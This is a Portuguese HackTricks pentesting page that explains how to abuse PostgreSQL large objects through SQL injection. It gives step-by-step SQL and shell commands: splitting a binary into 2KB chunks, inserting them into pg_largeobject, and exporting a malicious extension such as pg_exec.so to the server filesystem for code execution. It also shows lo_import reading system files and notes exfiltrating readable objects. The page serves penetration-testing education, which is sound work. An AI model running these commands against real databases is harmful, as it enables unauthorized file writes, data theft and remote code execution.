hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

113 lines
7.6 KiB
Markdown

<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Objetos Grandes no PostgreSQL
O PostgreSQL expõe uma estrutura chamada **objeto grande** (tabela `pg_largeobject`), que é utilizada para armazenar dados que seriam difíceis de manipular por inteiro (como uma imagem ou um documento PDF). Ao contrário da função `COPY TO`, a vantagem dos **objetos grandes** está no fato de que os **dados** que eles **contêm** podem ser **exportados de volta** para o **sistema de arquivos** como uma **cópia idêntica do arquivo original importado**.
Para **salvar um arquivo completo dentro desta tabela**, você primeiro precisa **criar um objeto** dentro da tabela mencionada (identificado por um **LOID**) e depois **inserir pedaços de 2KB** dentro deste objeto. É muito importante que todos os **pedaços tenham 2KB** (exceto possivelmente o último) **ou** a função de **exportação** para o sistema de arquivos **não funcionará**.
Para **dividir** seu **binário** em **pedaços** de tamanho **2KB**, você pode fazer:
```bash
split -b 2048 pg_exec.so #This will create files of size 2KB
```
Para codificar cada um dos arquivos criados em Base64 ou Hex, você pode usar:
```bash
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
```
{% hint style="info" %}
Ao explorar isso, lembre-se de que você deve enviar **pedaços de 2KB de bytes em texto claro** (não 2KB de bytes codificados em base64 ou hex). Se tentar automatizar isso, o tamanho de um arquivo **codificado em hex** é o **dobro** (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em **base64** é `ceil(n / 3) * 4`
{% endhint %}
Também, ao depurar o processo, você pode ver o conteúdo dos grandes objetos criados com:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
# Usando lo\_creat & Base64
Primeiro, precisamos criar um LOID onde os dados binários serão salvos:
```sql
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
```
Se você estiver explorando uma **Blind SQLinjection**, terá mais interesse em usar `lo_create` com um **LOID fixo** para **saber onde** deve **fazer upload** do **conteúdo**.\
Observe também que não há erro de sintaxe, as funções são `lo_creat` e `lo_create`.
LOID é usado para identificar o objeto na tabela `pg_largeobject`. A inserção de pedaços de tamanho 2KB na tabela `pg_largeobject` pode ser realizada usando:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
```
Finalmente, você pode exportar o arquivo para o sistema de arquivos executando (durante este exemplo, o LOID usado foi `173454`):
```sql
SELECT lo_export(173454, '/tmp/pg_exec.so');
```
{% hint style="info" %}
Observe que nas versões mais recentes do postgres você pode precisar **carregar as extensões sem indicar nenhum caminho**. [**Leia isto para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
Você possivelmente estará interessado em deletar o objeto grande criado após exportá-lo:
```sql
SELECT lo_unlink(173454); -- deletes large object with OID 173454
```
# Usando lo\_import & Hex
Neste cenário, lo\_import será usado para criar um objeto de grande porte. Felizmente, neste caso, você pode (e não pode) especificar o LOID que gostaria de usar:
```sql
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
```
Após criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você deve inserir pedaços de 2KB):
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
```
O HEX deve ser apenas o hex (sem `0x` ou `\x`), exemplo:
```sql
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
```
Finalmente, exporte os dados para um arquivo e delete o large object:
```sql
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
```
{% hint style="info" %}
Observe que nas versões mais recentes do postgres você pode precisar **fazer o upload das extensões sem indicar nenhum caminho**. [**Leia isto para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
# Limitações
Após ler a documentação sobre objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). É possível configurar **novos objetos grandes** de modo que seu usuário **não tenha privilégios suficientes** para lê-los, mesmo que tenham sido criados pelo seu usuário.
No entanto, pode haver **objetos antigos com uma ACL que permite ao usuário atual lê-los**, então podemos exfiltrar o conteúdo desse objeto.
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>